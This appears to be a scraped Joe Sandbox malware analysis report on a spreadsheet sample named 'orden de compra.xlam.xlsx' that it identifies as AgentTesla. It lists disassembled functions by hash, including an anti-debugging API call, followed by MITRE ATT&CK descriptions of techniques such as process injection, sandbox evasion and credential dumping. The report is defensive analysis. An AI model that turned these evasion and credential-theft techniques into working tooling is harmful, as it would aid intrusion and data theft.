API String ID:
Opcode ID: 3bed4d8abea7d0e20d929fab3d6292be580cd3d4441c20ce4b7d934afa41193a
Instruction ID: 0f7f2f26733941a7fcd08215f06f57dfda0d5fb9c4bcf04141877d523f60a2bb
Opcode Fuzzy Hash: 3bed4d8abea7d0e20d929fab3d6292be580cd3d4441c20ce4b7d934afa41193a
Instruction Fuzzy Hash: C721E674A00609CFDB50DF94D595ADDBBB2FF88301F648525D802A729AC730EC86CF54

Function 001BD006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.478284689.00000000001BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1bd000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d2350b3b9e9c57846971ae815ecbf8ec38e22e51af71f8db0baf7ac5a8568c9
Instruction ID: abde861433a334db58fd52ca3f4cb95e04133b989eb50200601fd7af2b010743
Opcode Fuzzy Hash: 8d2350b3b9e9c57846971ae815ecbf8ec38e22e51af71f8db0baf7ac5a8568c9
Instruction Fuzzy Hash: 99217F75508380DFCB06DF14D994B11BFB1EB46314F28C5DAD8498F266D33A985ACBA2

Function 005B0150 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.478467223.00000000005B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5b0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3222eae33fee7a9e5322280bc20b09b665732d4d8b35c1a14c4391b279b0c6cf
Instruction ID: a426910c78e2c5308d37c5c4011b7a6858ed6e0237f7ffb0c74e6e5e1232d717
Opcode Fuzzy Hash: 3222eae33fee7a9e5322280bc20b09b665732d4d8b35c1a14c4391b279b0c6cf
Instruction Fuzzy Hash: 32118E35B001284FCB18AA78CC186EF7BA6FBC8310B10453AD406EB394EE65EC0687D1

Function 005B223F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.478467223.00000000005B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5b0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71da3403f7cef9358127ef3530d2ecd3b0f562a542ef8327b4864a462c981377
Instruction ID: 8fc06aee3b54e47f59bfd38bc890fb7c11877289bca32a68f8256d06def7bc59
Opcode Fuzzy Hash: 71da3403f7cef9358127ef3530d2ecd3b0f562a542ef8327b4864a462c981377
Instruction Fuzzy Hash: A21166397083048BCF24AEE1D8516F9BFA1FB81310F10083AD904DB2A5D760FD0A97E1

Function 005B4D70 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.478467223.00000000005B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5b0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 304bdf0b8972a3d0ffb94d1eacec7762c32b576146b4af14e683160547974aac
Instruction ID: 5710dbd3e073795ed19e0a68926d31407093e45539612ac318c5e1716dd47aef
Opcode Fuzzy Hash: 304bdf0b8972a3d0ffb94d1eacec7762c32b576146b4af14e683160547974aac
Instruction Fuzzy Hash: EB01F5356083944FCB23577598617AA3FA1EFC3321B1449BBD045CB263C961AD06CB91

Function 005B0140 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.478467223.00000000005B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5b0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 812071087b5f63ff7c89227036a813d952e46e5d9fe19506ca483ba1f47a729d
Instruction ID: c02a0ebe5d00a4c9fb7199bcf7adeb3d21255d939336b8cf3e243fad037d0a4e
Opcode Fuzzy Hash: 812071087b5f63ff7c89227036a813d952e46e5d9fe19506ca483ba1f47a729d
Instruction Fuzzy Hash: 0201BC36B000144FCB489AB9CC18BEF7BEAEBC9710F11413AE406DB290EE60AC0687D1

Function 005B44F8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.478467223.00000000005B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5b0000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35da23a27064d4fbe1e4943dc0b54794647a7c6c2b47aeacda05524ca401ea41
Instruction ID: dfd43cbc319b7d794f8b58724fa57ce2a9cfd3c736070d88e659b9ed95d56a0f
Opcode Fuzzy Hash: 35da23a27064d4fbe1e4943dc0b54794647a7c6c2b47aeacda05524ca401ea41
Instruction Fuzzy Hash: 070131317005144BDB30EA79E855BAFB7E6EBC9710F108939E10ACB395EB61FD464781

Analysis Process: AddInProcess32.exePID: 1652, Parent PID: 2200COMMON

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00521258 Relevance: 1.7, Strings: 1, Instructions: 405
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&55p, xrefs: 005212B3

Memory Dump Source

Source File: 00000009.00000002.618462989.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_AddInProcess32.jbxd

Similarity

API ID:
String ID: &55p
API String ID: 0-1955183375
Opcode ID: 931db74af2c5528b2fb03d05fec66702a3fc2fd9cac434c3724c33c6e117db94
Instruction ID: 4929f5c08e775c501b44d9689c91b6c1072377becef8b27b3a430174e860d102
Opcode Fuzzy Hash: 931db74af2c5528b2fb03d05fec66702a3fc2fd9cac434c3724c33c6e117db94
Instruction Fuzzy Hash: 76F15B70B102148FDB18EFA5D494B6EBBB2FF95300F248569D4069B3A9CB71EC46CB94

Function 002D5310 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 002D5387

Memory Dump Source

Source File: 00000009.00000002.618377027.00000000002D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2d0000_AddInProcess32.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: ffef9c13e7497ee4fc507ea8e1c4f8b9624b643ed6c783861c420973b7883533
Instruction ID: c0bbf11dfe4f8318f1e4269050014030f03ba03737cbf9fb73bbaf1c3ee5edf5
Opcode Fuzzy Hash: ffef9c13e7497ee4fc507ea8e1c4f8b9624b643ed6c783861c420973b7883533
Instruction Fuzzy Hash: C32128B1901219CFDB00CF9AD484BEEBBF4AF49250F14846AE458A7350D778A944CFA5

Function 00521250 Relevance: 1.4, Strings: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&55p, xrefs: 005212B3

Memory Dump Source

Source File: 00000009.00000002.618462989.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_AddInProcess32.jbxd

Similarity

API ID:
String ID: &55p
API String ID: 0-1955183375
Opcode ID: 80e7d6d526aa03bee09317f698f7ba62224e12ea8c8769fcbd7e61d11e06db20
Instruction ID: 3ba29f9d980bc99a79e3458c94fca95f9989903c925c9d5ec8ffe7c65f495a00
Opcode Fuzzy Hash: 80e7d6d526aa03bee09317f698f7ba62224e12ea8c8769fcbd7e61d11e06db20
Instruction Fuzzy Hash: AE817C70A112148FDB18EFA5D484B5EBBB2FF95300F648529E4069B3A8CB70EC46CF94

Function 00520ED0 Relevance: .3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.618462989.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d54b33f7e317f971858495e9bdf3c74d12487e031a5d7bee23a10c7c9bde8ed4
Instruction ID: 3f820fd614a7a964bf19b10c8b55b290a4dd256f4a78cf22047ff9c6b4f7abe6
Opcode Fuzzy Hash: d54b33f7e317f971858495e9bdf3c74d12487e031a5d7bee23a10c7c9bde8ed4
Instruction Fuzzy Hash: D0A17B34A00614CFCB24EBA5D548B5EBBF2FF95314F548969E40AAB391DB31EC46CB80

Function 00524E40 Relevance: .3, Instructions: 253
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.618462989.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fa4c19ede72075992d1e47209c130db455467112ab6115c35db78de261e140a
Instruction ID: 77669b44cc0a2adf91cb3de9c287b113144bd3b64299b57a5c93e27237436172
Opcode Fuzzy Hash: 8fa4c19ede72075992d1e47209c130db455467112ab6115c35db78de261e140a
Instruction Fuzzy Hash: 7681B5317002248FDF14AB74E9947AEBBA2FFC9310F144569D406DB395DB35DC468B91

Function 0052331C Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.618462989.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b888ce0028487069ade6af91857923866c6d5e3e4c4f5bcfd1ced73942adede
Instruction ID: 64dd95e7aee05c346bce79939f3071a1e0e00c1f288c2ec36f230fe4c89b0870
Opcode Fuzzy Hash: 3b888ce0028487069ade6af91857923866c6d5e3e4c4f5bcfd1ced73942adede
Instruction Fuzzy Hash: 01512D70B002148FDB54EF75D895B6E7BE2AFC5310F10846AD80AAB3D4EB74AD46CB91

Function 00520006 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.618462989.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb0ac097c559ede0e748f42ead5917b6cda5954654ce3616418ce51420e4b3a4
Instruction ID: 475cd43f1f9b1cff8dd1e583da32c492aea1a16c681262cbec4a8237eaa535cd
Opcode Fuzzy Hash: bb0ac097c559ede0e748f42ead5917b6cda5954654ce3616418ce51420e4b3a4
Instruction Fuzzy Hash: FB31D274A4A3908FDB02CF74DC95A9DBFB0AF4A300F14819AE445EB2D2D725D806CB91

Function 00520040 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.618462989.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2710ffb27e1944e47d02a801871ef373c4d06e79a2fa5636f814d87d62aaa0f4
Instruction ID: bad2b9f4f983a60a937b7ade19e1a05a20dfb5df7a6e6c9d6128529af8d3282f
Opcode Fuzzy Hash: 2710ffb27e1944e47d02a801871ef373c4d06e79a2fa5636f814d87d62aaa0f4
Instruction Fuzzy Hash: 67217F75E022159FDB10DF69D885BAEBBF1FB88310F104026E905E7391E775ED419B90

Function 0027D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.618326913.000000000027D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0027D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_27d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c1900a2430152aa63bea3d93224dbcdcc34c55a55d8a79f06f80e532b68c0f1
Instruction ID: 0b01298ca9e04dbaa1eefa095a2b34fc52d65130c6cd89b0a6b06482c8a6cdb3
Opcode Fuzzy Hash: 1c1900a2430152aa63bea3d93224dbcdcc34c55a55d8a79f06f80e532b68c0f1
Instruction Fuzzy Hash: 2D21D075624340DFEB14DF24D884B16BB71EF84314F34C569D80D4B246C376D866CBA2

Function 00520EC0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.618462989.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ebd881c37825b2c64261d891c67760f48336dd60843bb96d595c6fae667225e
Instruction ID: 966b3f3531f5486cd31170fedbf556fd4cf975152dc84bd5a90bd663404db37c
Opcode Fuzzy Hash: 8ebd881c37825b2c64261d891c67760f48336dd60843bb96d595c6fae667225e
Instruction Fuzzy Hash: A121CF30B012189FCF14EBA9E554B9EBBA6FF95310F148439E509DB382DB70EC428B84

Function 005217EA Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.618462989.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03bbb0520807f5dfcee50e4da847e8d88d4eac95c561840749bc39e67bcb074b
Instruction ID: b4ecd4750061f578aeb16c847d89e39e1e287ee4558c9e5a360938e95f25bace
Opcode Fuzzy Hash: 03bbb0520807f5dfcee50e4da847e8d88d4eac95c561840749bc39e67bcb074b
Instruction Fuzzy Hash: B521E434A006198BCB10EFA4E5C4AAEBBB2FF99305F248555D802A7399C730EC86CF54

Function 0027D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.618326913.000000000027D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0027D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_27d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2725d100ff9843043464e0f8a3b12d59a6e09497fd7c743d9bd57b8ed92dc9b
Instruction ID: 10f543d8f2fc63cc59717e12d2a6c0ffdd7e26c8ab91246bdf39992daee7d4bc
Opcode Fuzzy Hash: f2725d100ff9843043464e0f8a3b12d59a6e09497fd7c743d9bd57b8ed92dc9b
Instruction Fuzzy Hash: 98218E755093808FDB02CF24D994715BF71EF46314F28C5EAD8498F6A7C33A981ACB62

Function 00520150 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.618462989.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98e648c5945276087586132d5e6f15839a495d16bbc0f9b0cf4f7a120fe2b0e1
Instruction ID: 8f120bd1d671ff065f6237bf735f1c2b88bd04adf6db3f0a0d9d96a0baa77555
Opcode Fuzzy Hash: 98e648c5945276087586132d5e6f15839a495d16bbc0f9b0cf4f7a120fe2b0e1
Instruction Fuzzy Hash: B41152357011284FCB149A79DC196AF7BA6FBC9311B11453AD406EB394DE65EC0187D1

Function 00520140 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.618462989.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b157c9e85690c6be27d19500e2304e68a01cccad0b2c063ab536282b7cc65c36
Instruction ID: 8a6a7b16f2d4e7cbda9be8c13bd2174a8cf40c87045b6559ae2237e451a7e570
Opcode Fuzzy Hash: b157c9e85690c6be27d19500e2304e68a01cccad0b2c063ab536282b7cc65c36
Instruction Fuzzy Hash: 5201B136B020244FCB549A78EC296EF7BA6AFD9310F11453AE406D73D0EE609C0687D2

Function 0052223E Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.618462989.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75279fd4390c4b5bb68c324ed9650ef35de0ce48af302a972bdc5e8b77df11bf
Instruction ID: e4f865457b8669bf7f40761799d6fc49988701afbc46bcd66e9768870c574567
Opcode Fuzzy Hash: 75279fd4390c4b5bb68c324ed9650ef35de0ce48af302a972bdc5e8b77df11bf
Instruction Fuzzy Hash: EA112539604324EBCB249AA1F8506A97BA1FF82310F10483AD904E72D5D762DD4A9791

Function 00524D70 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.618462989.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2bbb3627dc98da2c7de9233ea2c916d0fa3faf16391df966438b492b13d40f4
Instruction ID: 4a81be2fad46eebedf66dcfbe8043c0c57c1d38c5278b6eee6bab6680dd1b100
Opcode Fuzzy Hash: f2bbb3627dc98da2c7de9233ea2c916d0fa3faf16391df966438b492b13d40f4
Instruction Fuzzy Hash: 150149317043600FDB215B79AC6579E2F92EFC3320B00097EE006CB281C961CC078781

Function 005244F8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.618462989.0000000000520000.00000040.00000800.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05f55ed0997d82ad1d68b3743d24adfaaf409604d2039db5670425b11a41e387
Instruction ID: bce47785a653e26186dab48b417f20f76128324e3b30fabaf8fc04ab866b0e34
Opcode Fuzzy Hash: 05f55ed0997d82ad1d68b3743d24adfaaf409604d2039db5670425b11a41e387
Instruction Fuzzy Hash: 820144317001244BDB20EA79F855B2EB7E6EFCA710F108839F14ECB394EA21ED464B81

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report orden de compra.xlam.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

